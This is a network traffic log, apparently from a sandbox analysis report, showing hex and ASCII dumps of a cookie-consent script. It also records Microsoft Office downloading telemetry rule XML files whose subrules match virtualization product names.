2024-11-23 14:37:48 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-23 14:37:48 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-23 14:37:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-23 14:37:48 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:48 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143748Z-178bfbc474bscnbchC1NYCe7eg00000004vg0000000005zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143749Z-174c587ffdfb5q56hC1TEB04kg000000031g000000004rua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143749Z-174c587ffdf89smkhC1TEB697s000000037000000000305w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143749Z-15b8b599d88vp97chC1TEB5pzw0000000330000000005scx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143749Z-174c587ffdf6b487hC1TEBydsn0000000330000000001a5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143750Z-178bfbc474b9xljthC1NYCtw9400000004hg0000000061mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143751Z-178bfbc474btrnf9hC1NYCb80g00000004sg0000000091b9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143751Z-174c587ffdfb485jhC1TEBmc1s00000002v000000000ezed x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143751Z-15b8b599d882zv28hC1TEBdchn00000002vg00000000fcse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143751Z-15b8b599d886w4hzhC1TEBb4ug000000030g00000000gxhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
